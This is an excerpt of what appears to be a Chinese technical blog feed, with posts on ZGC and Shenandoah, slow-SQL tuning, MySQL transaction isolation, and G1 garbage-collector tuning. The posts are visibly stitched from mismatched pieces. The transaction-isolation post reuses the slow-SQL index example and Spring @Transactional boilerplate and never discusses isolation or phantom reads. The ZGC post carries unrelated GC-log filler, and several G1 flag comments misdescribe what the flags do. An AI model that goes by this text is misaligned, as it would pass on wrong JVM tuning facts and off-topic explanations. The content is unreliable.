        <content type="html"><![CDATA[<h1 id="ZGC与Shenandoah低延迟GC"><a href="#ZGC与Shenandoah低延迟GC" class="headerlink" title="ZGC与Shenandoah低延迟GC"></a>ZGC与Shenandoah低延迟GC</h1><p>GC 日志看起来乱，关键是找准几个核心指标。很多开发者面对 GC 日志不知道该关注什么。本文从实际调优经验出发，讲需要关注什么、忽略什么，帮你快速定位问题。</p><h2 id="设计目标"><a href="#设计目标" class="headerlink" title="设计目标"></a>设计目标</h2><table><thead><tr><th>收集器</th><th>目标停顿时间</th><th>最大堆内存</th><th>JDK版本</th></tr></thead><tbody><tr><td>G1</td><td>~200ms</td><td>数十GB</td><td>9+</td></tr><tr><td>ZGC</td><td>&lt;10ms</td><td>TB级</td><td>11+ (15正式)</td></tr><tr><td>Shenandoah</td><td>&lt;10ms</td><td>TB级</td><td>12+ (OpenJDK)</td></tr></tbody></table><h2 id="ZGC-核心原理"><a href="#ZGC-核心原理" class="headerlink" title="ZGC 核心原理"></a>ZGC 核心原理</h2><p>#</p><h2 id="着色指针（Colored-Pointers）"><a href="#着色指针（Colored-Pointers）" class="headerlink" title="着色指针（Colored Pointers）"></a>着色指针（Colored Pointers）</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">64位指针结构（使用42~45位）：</span><br><span class="line">├─ 41位：对象地址（4TB堆）</span><br><span class="line">├─ 4位：元数据</span><br><span class="line">│  ├── Finalizable</span><br><span class="line">│  ├── Remapped</span><br><span class="line">│  ├── Marked1</span><br><span class="line">│  └── Marked0</span><br><span class="line">└─ 17位：保留</span><br><span class="line"></span><br><span class="line">指针值：0x0001_2345_6789_ABCD</span><br><span class="line">              ││││</span><br><span class="line">              │││└─ Marked0</span><br><span class="line">              ││└── Marked1</span><br><span class="line">              │└─── Remapped</span><br><span class="line">              └──── Finalizable</span><br></pre></td></tr></table></figure><p><strong>作用</strong>：直接在指针中存储状态信息，避免访问对象头。</p><p>#</p><h2 id="读屏障（Load-Barrier）"><a href="#读屏障（Load-Barrier）" class="headerlink" title="读屏障（Load Barrier）"></a>读屏障（Load Barrier）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 访问对象时触发</span></span><br><span class="line"><span class="type">Object</span> <span class="variable">obj</span> <span class="operator">=</span> field.x;  <span class="comment">// 读操作</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 读屏障检查指针状态</span></span><br><span class="line"><span class="keyword">if</span> (指针需要重映射) &#123;</span><br><span class="line">    修正指针;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="并发整理"><a href="#并发整理" class="headerlink" title="并发整理"></a>并发整理</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">阶段1：并发标记</span><br><span class="line">   - 标记存活对象（通过着色指针）</span><br><span class="line">   - 与用户线程并发</span><br><span class="line"></span><br><span class="line">阶段2：并发重定位准备</span><br><span class="line">   - 选择需要整理的Region</span><br><span class="line">   - 计算新地址</span><br><span class="line"></span><br><span class="line">阶段3：并发重定位</span><br><span class="line">   - 复制对象到新地址</span><br><span class="line">   - 更新指针（Remapped标志）</span><br><span class="line">   - 通过读屏障修正旧引用</span><br></pre></td></tr></table></figure><p><strong>关键</strong>：ZGC 在重定位期间，旧对象和新对象同时存在，读屏障确保访问正确的对象。</p><p>#</p><h2 id="ZGC-参数"><a href="#ZGC-参数" class="headerlink" title="ZGC 参数"></a>ZGC 参数</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">-XX:+UseZGC                    <span class="comment"># 启用ZGC</span></span><br><span class="line">-XX:+ZGenerational              <span class="comment"># 启用分代ZGC（JDK 21+）</span></span><br><span class="line">-XX:MaxGCPauseMillis=10        <span class="comment"># 目标停顿时间</span></span><br><span class="line">-XX:ZCollectionInterval=5      <span class="comment"># 强制GC间隔（秒）</span></span><br><span class="line">-XX:ZAllocationSpikeTolerance=2 <span class="comment"># 分配速率容忍度</span></span><br></pre></td></tr></table></figure><h2 id="Shenandoah-核心原理"><a href="#Shenandoah-核心原理" class="headerlink" title="Shenandoah 核心原理"></a>Shenandoah 核心原理</h2><p>#</p><h2 id="Brooks-Pointer"><a href="#Brooks-Pointer" class="headerlink" title="Brooks Pointer"></a>Brooks Pointer</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">对象头结构：</span><br><span class="line">┌─────────────────┐</span><br><span class="line">│ Brooks Pointer  │  指向对象自身或新副本</span><br><span class="line">├─────────────────┤</span><br><span class="line">│ Mark Word       │</span><br><span class="line">├─────────────────┤</span><br><span class="line">│ Class Pointer   │</span><br><span class="line">├─────────────────┤</span><br><span class="line">│ 实例数据         │</span><br><span class="line">└─────────────────┘</span><br></pre></td></tr></table></figure><p><strong>作用</strong>：通过对象头中的 Brooks Pointer 实现并发复制。</p><p>#</p><h2 id="回收阶段"><a href="#回收阶段" class="headerlink" title="回收阶段"></a>回收阶段</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">1. Init Mark（初始标记）    - STW，标记GC Roots</span><br><span class="line">2. Concurrent Mark（并发标记）- 遍历标记存活对象</span><br><span class="line">3. Final Mark（最终标记）    - STW，处理SATB队列</span><br><span class="line">4. Concurrent Cleanup（并发清理）- 回收垃圾Region</span><br><span class="line">5. Concurrent Evacuation（并发复制）- 复制存活对象</span><br><span class="line">6. Init Update Refs（初始更新引用）- STW，更新GC Roots</span><br><span class="line">7. Concurrent Update Refs（并发更新引用）- 更新堆内引用</span><br><span class="line">8. Final Update Refs（最终更新引用）- STW，完成引用更新</span><br></pre></td></tr></table></figure><p>#</p><h2 id="Shenandoah-参数"><a href="#Shenandoah-参数" class="headerlink" title="Shenandoah 参数"></a>Shenandoah 参数</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">-XX:+UseShenandoahGC           <span class="comment"># 启用Shenandoah</span></span><br><span class="line">-XX:ShenandoahGCHeuristics=adaptive  <span class="comment"># 自适应策略</span></span><br><span class="line">-XX:+ShenandoahPacing          <span class="comment"># 分配 pacing（防止分配过快）</span></span><br></pre></td></tr></table></figure><h2 id="ZGC-vs-Shenandoah"><a href="#ZGC-vs-Shenandoah" class="headerlink" title="ZGC vs Shenandoah"></a>ZGC vs Shenandoah</h2><table><thead><tr><th>特性</th><th>ZGC</th><th>Shenandoah</th></tr></thead><tbody><tr><td>厂商</td><td>Oracle JDK / OpenJDK</td><td>OpenJDK（Red Hat）</td></tr><tr><td>核心技术</td><td>着色指针 + 读屏障</td><td>Brooks Pointer + 读屏障</td></tr><tr><td>停顿时间</td><td>&lt;10ms</td><td>&lt;10ms</td></tr><tr><td>吞吐量</td><td>~15%下降</td><td>~15%下降</td></tr><tr><td>内存占用</td><td>较高（多映射）</td><td>较高（Brooks Pointer）</td></tr><tr><td>平台支持</td><td>Linux/x64, Linux/AArch64, Windows/macOS（JDK 14+）</td><td>全平台</td></tr><tr><td>分代收集</td><td>JDK 21+ 支持</td><td>不支持</td></tr></tbody></table><h2 id="适用场景"><a href="#适用场景" class="headerlink" title="适用场景"></a>适用场景</h2><p>#</p><h2 id="1-超大堆内存"><a href="#1-超大堆内存" class="headerlink" title="1. 超大堆内存"></a>1. 超大堆内存</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 100GB 堆内存</span></span><br><span class="line">-Xms100g -Xmx100g -XX:+UseZGC</span><br></pre></td></tr></table></figure><p>传统 GC 在大堆下停顿时间会达到秒级，ZGC/Shenandoah 保持毫秒级。</p><p>#</p><h2 id="2-低延迟交易系统"><a href="#2-低延迟交易系统" class="headerlink" title="2. 低延迟交易系统"></a>2. 低延迟交易系统</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 金融交易，要求99.9%请求&lt;10ms</span></span><br><span class="line">-XX:+UseZGC -XX:MaxGCPauseMillis=5</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-交互式应用"><a href="#3-交互式应用" class="headerlink" title="3. 交互式应用"></a>3. 交互式应用</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 游戏服务器、实时通信</span></span><br><span class="line">-XX:+UseShenandoahGC</span><br></pre></td></tr></table></figure><h2 id="性能对比"><a href="#性能对比" class="headerlink" title="性能对比"></a>性能对比</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">测试环境：32核, 128GB内存, JDK 17</span><br><span class="line"></span><br><span class="line">G1:    平均停顿 150ms, 最大停顿 500ms, 吞吐量 95%</span><br><span class="line">ZGC:   平均停顿 1ms,   最大停顿 5ms,   吞吐量 85%</span><br><span class="line">Shenandoah: 平均停顿 2ms, 最大停顿 8ms, 吞吐量 87%</span><br></pre></td></tr></table></figure><h2 id="使用建议"><a href="#使用建议" class="headerlink" title="使用建议"></a>使用建议</h2><table><thead><tr><th>场景</th><th>推荐</th></tr></thead><tbody><tr><td>堆 &lt; 6GB</td><td>G1</td></tr><tr><td>6GB &lt; 堆 &lt; 100GB，延迟敏感</td><td>ZGC / Shenandoah</td></tr><tr><td>堆 &gt; 100GB</td><td>ZGC</td></tr><tr><td>使用 Oracle JDK</td><td>ZGC</td></tr><tr><td>使用 OpenJDK</td><td>两者均可</td></tr><tr><td>JDK 8/11</td><td>G1（ZGC实验性）</td></tr><tr><td>JDK 17+</td><td>ZGC / Shenandoah（生产可用）</td></tr><tr><td>JDK 21+</td><td>分代ZGC（推荐）</td></tr></tbody></table><h2 id="监控"><a href="#监控" class="headerlink" title="监控"></a>监控</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># ZGC 日志</span></span><br><span class="line">-Xlog:gc*:file=zgc.log:<span class="keyword">time</span>,level,tags</span><br><span class="line"></span><br><span class="line"><span class="comment"># 关键指标</span></span><br><span class="line"><span class="comment"># ZGC Cycles: GC周期数</span></span><br><span class="line"><span class="comment"># ZGC Pauses: 停顿时间</span></span><br><span class="line"><span class="comment"># ZGC Heap: 堆使用情况</span></span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>ZGC 和 Shenandoah 代表了 JVM 垃圾回收的发展方向：</p><ul><li><strong>并发化</strong>：更多阶段与用户线程并发</li><li><strong>细粒度</strong>：Region 化、着色指针等技术</li><li><strong>可扩展</strong>：支持 TB 级堆内存</li></ul><p>随着 JDK 版本迭代，ZGC 和 Shenandoah 越来越成熟。对于延迟敏感型应用，JDK 17+ 环境下可以大胆使用。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>关注 Minor GC 和 Full GC 的频率和耗时</p></li><li><p>年轻代晋升到老年代的对象大小和频率</p></li><li><p>GC 前后的内存使用变化</p></li><li><p>使用 jstat、jmap、jvisualvm 等工具辅助分析</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>GC 调优是一个持续的过程，没有一劳永逸的方案。需要结合业务特点、数据量、响应时间要求来调整。理解 GC 日志是调优的第一步。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>慢 SQL 排查和优化完整流程</title>
      <link href="//man-sql-pai-cha-he-you-hua-wan-zheng-liu-cheng/"/>
      <url>//man-sql-pai-cha-he-you-hua-wan-zheng-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="慢-SQL-排查和优化完整流程"><a href="#慢-SQL-排查和优化完整流程" class="headerlink" title="慢 SQL 排查和优化完整流程"></a>慢 SQL 排查和优化完整流程</h1><p>慢 SQL 排查和优化完整流程是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MySQL 事务隔离级别和幻读问题</title>
      <link href="//mysql-shi-wu-ge-chi-ji-bie-he-huan-du-wen-ti/"/>
      <url>//mysql-shi-wu-ge-chi-ji-bie-he-huan-du-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="MySQL-事务隔离级别和幻读问题"><a href="#MySQL-事务隔离级别和幻读问题" class="headerlink" title="MySQL 事务隔离级别和幻读问题"></a>MySQL 事务隔离级别和幻读问题</h1><p>Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别</p></li><li><p>事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值</p></li><li><p>使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚</p></li><li><p>编程式事务在某些场景下比声明式事务更灵活</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>G1垃圾收集器原理与调优</title>
      <link href="//g1-la-ji-shou-ji-qi-yuan-li-yu-diao-you/"/>
      <url>//g1-la-ji-shou-ji-qi-yuan-li-yu-diao-you/</url>
      
        <content type="html"><![CDATA[<h1 id="G1垃圾收集器原理与调优"><a href="#G1垃圾收集器原理与调优" class="headerlink" title="G1垃圾收集器原理与调优"></a>G1垃圾收集器原理与调优</h1><p>G1（Garbage First）是 JDK 9+ 的默认垃圾收集器，设计目标是替代 CMS，在可预测的停顿时间内获得最高吞吐量。</p><h2 id="G1-的设计目标"><a href="#G1-的设计目标" class="headerlink" title="G1 的设计目标"></a>G1 的设计目标</h2><ol><li><strong>可预测的停顿时间</strong>：设置目标停顿时间，G1 尽量遵守</li><li><strong>高吞吐量</strong>：整体吞吐量不低于 CMS</li><li><strong>无内存碎片</strong>：采用复制算法，整理内存</li></ol><h2 id="Region-化的堆结构"><a href="#Region-化的堆结构" class="headerlink" title="Region 化的堆结构"></a>Region 化的堆结构</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">┌────┬────┬────┬────┬────┬────┬────┬────┬────┬────┐</span><br><span class="line">│ E  │ S  │ O  │ O  │ H  │ E  │ S  │ O  │ E  │ O  │</span><br><span class="line">└────┴────┴────┴────┴────┴────┴────┴────┴────┴────┘</span><br><span class="line"></span><br><span class="line">E = Eden Region（年轻代）</span><br><span class="line">S = Survivor Region</span><br><span class="line">O = Old Region（老年代）</span><br><span class="line">H = Humongous Region（大对象，占连续多个Region）</span><br><span class="line"></span><br><span class="line">Region大小：1MB, 2MB, 4MB, 8MB, 16MB, 32MB</span><br></pre></td></tr></table></figure><p><strong>大对象处理</strong>：</p><ul><li>对象 &gt; 0.5 Region：放入 Humongous Region</li><li>对象 &gt; 1 Region：占用连续多个 Humongous Region</li><li>Humongous Region 直接分配在老年代</li></ul><h2 id="核心数据结构"><a href="#核心数据结构" class="headerlink" title="核心数据结构"></a>核心数据结构</h2><h3 id="Remembered-Set（记忆集）"><a href="#Remembered-Set（记忆集）" class="headerlink" title="Remembered Set（记忆集）"></a>Remembered Set（记忆集）</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">每个Region维护一个RSet，记录哪些Region引用了本Region的对象</span><br><span class="line"></span><br><span class="line">Region A (Old)</span><br><span class="line">├── RSet: [Region B, Region C]</span><br><span class="line">│     └── Region B (Eden) 引用了 A 中的对象</span><br><span class="line">│     └── Region C (Old)   引用了 A 中的对象</span><br></pre></td></tr></table></figure><p><strong>作用</strong>：避免全堆扫描，Minor GC 时只需扫描相关 Region。</p><h3 id="Collection-Set（CSet）"><a href="#Collection-Set（CSet）" class="headerlink" title="Collection Set（CSet）"></a>Collection Set（CSet）</h3><p>每次 GC 选择的一组 Region，是需要被回收的候选区域。</p><h2 id="G1-的回收过程"><a href="#G1-的回收过程" class="headerlink" title="G1 的回收过程"></a>G1 的回收过程</h2><h3 id="Young-GC"><a href="#Young-GC" class="headerlink" title="Young GC"></a>Young GC</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">阶段1：选择所有 Eden + Survivor Region 进入 CSet</span><br><span class="line">阶段2：复制存活对象到新的 Survivor / Old Region</span><br><span class="line">阶段3：清空回收的 Region</span><br><span class="line"></span><br><span class="line">Eden Region × 10 + Survivor Region × 2</span><br><span class="line">         ↓</span><br><span class="line">    复制存活对象</span><br><span class="line">         ↓</span><br><span class="line">Survivor Region × 1（或晋升到 Old）</span><br></pre></td></tr></table></figure><p><strong>特点</strong>：</p><ul><li>完全 stop-the-world</li><li>多线程并行复制</li><li>目标是尽快完成</li></ul><h3 id="Concurrent-Marking-Cycle（并发标记周期）"><a href="#Concurrent-Marking-Cycle（并发标记周期）" class="headerlink" title="Concurrent Marking Cycle（并发标记周期）"></a>Concurrent Marking Cycle（并发标记周期）</h3><p>当堆内存使用率达到阈值时触发：</p><h4 id="1-Initial-Mark（初始标记）"><a href="#1-Initial-Mark（初始标记）" class="headerlink" title="1. Initial Mark（初始标记）"></a>1. Initial Mark（初始标记）</h4><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">STW，标记 GC Roots 直接引用的对象</span><br><span class="line">依附于 Young GC，几乎无额外开销</span><br></pre></td></tr></table></figure><h4 id="2-Root-Region-Scanning（根区域扫描）"><a href="#2-Root-Region-Scanning（根区域扫描）" class="headerlink" title="2. Root Region Scanning（根区域扫描）"></a>2. Root Region Scanning（根区域扫描）</h4><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">扫描 Survivor Region 中引用老年代的对象</span><br><span class="line">并发执行，必须在 Young GC 前完成</span><br></pre></td></tr></table></figure><h4 id="3-Concurrent-Mark（并发标记）"><a href="#3-Concurrent-Mark（并发标记）" class="headerlink" title="3. Concurrent Mark（并发标记）"></a>3. Concurrent Mark（并发标记）</h4><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">从 GC Roots 开始遍历整个堆，标记存活对象</span><br><span class="line">与用户线程并发执行</span><br><span class="line">使用 SATB（Snapshot-At-The-Beginning）算法</span><br></pre></td></tr></table></figure><p><strong>SATB 算法</strong>：</p><ul><li>标记开始时做一个快照</li><li>并发期间新分配的对象默认存活</li><li>通过 write barrier 记录引用变化</li></ul><h4 id="4-Remark（重新标记）"><a href="#4-Remark（重新标记）" class="headerlink" title="4. Remark（重新标记）"></a>4. Remark（重新标记）</h4><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">STW，处理 SATB 队列中的引用变化</span><br><span class="line">比 CMS 的重新标记快（SATB 比 Incremental Update 高效）</span><br></pre></td></tr></table></figure><h4 id="5-Cleanup（清理）"><a href="#5-Cleanup（清理）" class="headerlink" title="5. Cleanup（清理）"></a>5. Cleanup（清理）</h4><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">STW，统计存活对象，识别完全空闲的 Region</span><br><span class="line">并发清理空闲 Region</span><br></pre></td></tr></table></figure><h3 id="Mixed-GC"><a href="#Mixed-GC" class="headerlink" title="Mixed GC"></a>Mixed GC</h3><p>并发标记完成后，G1 知道哪些 Region 垃圾最多，开始 Mixed GC：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">回收策略：</span><br><span class="line">1. 所有 Eden Region（必须回收）</span><br><span class="line">2. 所有 Survivor Region（必须回收）</span><br><span class="line">3. 部分垃圾最多的 Old Region（根据停顿目标选择数量）</span><br><span class="line"></span><br><span class="line">目标：在 MaxGCPauseMillis 内回收尽可能多的垃圾</span><br></pre></td></tr></table></figure><h2 id="关键参数"><a href="#关键参数" class="headerlink" title="关键参数"></a>关键参数</h2><h3 id="基本参数"><a href="#基本参数" class="headerlink" title="基本参数"></a>基本参数</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 启用G1</span></span><br><span class="line">-XX:+UseG1GC</span><br><span class="line"></span><br><span class="line"><span class="comment"># 目标最大停顿时间（默认200ms）</span></span><br><span class="line">-XX:MaxGCPauseMillis=200</span><br><span class="line"></span><br><span class="line"><span class="comment"># Region大小（默认根据堆大小计算）</span></span><br><span class="line">-XX:G1HeapRegionSize=16m</span><br><span class="line"></span><br><span class="line"><span class="comment"># 触发并发标记的堆占用率（默认45%）</span></span><br><span class="line">-XX:InitiatingHeapOccupancyPercent=45</span><br></pre></td></tr></table></figure><h3 id="进阶参数"><a href="#进阶参数" class="headerlink" title="进阶参数"></a>进阶参数</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 年轻代大小（G1会自动调整，不建议手动设置）</span></span><br><span class="line"><span class="comment"># -Xmn 或 -XX:NewRatio 不推荐与G1一起使用</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 保留多少空闲Region（默认10%）</span></span><br><span class="line">-XX:G1ReservePercent=10</span><br><span class="line"></span><br><span class="line"><span class="comment"># 并发线程数</span></span><br><span class="line">-XX:ConcGCThreads=4</span><br><span class="line"></span><br><span class="line"><span class="comment"># 并行线程数</span></span><br><span class="line">-XX:ParallelGCThreads=8</span><br><span class="line"></span><br><span class="line"><span class="comment"># 每个Region的 Remembered Set 占用空间（默认5%）</span></span><br><span class="line">-XX:G1RSetUpdatingPauseTimePercent=5</span><br><span class="line"></span><br><span class="line"><span class="comment"># 大对象阈值（Region大小的百分比，默认50%）</span></span><br><span class="line">-XX:G1HeapWastePercent=5</span><br><span class="line"></span><br><span class="line"><span class="comment"># 触发Mixed GC的阈值（默认老年代占比45%）</span></span><br><span class="line">-XX:G1MixedGCCountTarget=8</span><br><span class="line">-XX:G1MixedGCLiveThresholdPercent=85</span><br></pre></td></tr></table></figure><h2 id="调优策略"><a href="#调优策略" class="headerlink" title="调优策略"></a>调优策略</h2><h3 id="1-调整停顿时间目标"><a href="#1-调整停顿时间目标" class="headerlink" title="1. 调整停顿时间目标"></a>1. 调整停顿时间目标</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 如果 GC 频繁但停顿短</span></span><br><span class="line">-XX:MaxGCPauseMillis=100</span><br><span class="line"></span><br><span class="line"><span class="comment"># 如果 GC 次数少但停顿长</span></span><br><span class="line">-XX:MaxGCPauseMillis=500</span><br></pre></td></tr></table></figure><p><strong>注意</strong>：停顿时间和吞吐量是反比关系，需要平衡。</p><h3 id="2-避免大对象"><a href="#2-避免大对象" class="headerlink" title="2. 避免大对象"></a>2. 避免大对象</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 大对象直接进入Humongous Region，难以回收</span></span><br><span class="line"><span class="type">byte</span>[] hugeArray = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">100</span> * <span class="number">1024</span> * <span class="number">1024</span>];  <span class="comment">// 100MB</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 解决方案：拆分为小对象或复用缓冲区</span></span><br></pre></td></tr></table></figure><h3 id="3-监控指标"><a href="#3-监控指标" class="headerlink" title="3. 监控指标"></a>3. 监控指标</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 打印GC日志</span></span><br><span class="line">-XX:+PrintGCDetails</span><br><span class="line">-XX:+PrintGCDateStamps</span><br><span class="line">-Xloggc:/path/to/gc.log</span><br><span class="line"></span><br><span class="line"><span class="comment"># JDK 9+ 统一日志</span></span><br><span class="line">-Xlog:gc*:file=/path/to/gc.log:<span class="keyword">time</span>,<span class="built_in">uptime</span>,level,tags</span><br></pre></td></tr></table></figure><h3 id="4-常见问题"><a href="#4-常见问题" class="headerlink" title="4. 常见问题"></a>4. 常见问题</h3><h4 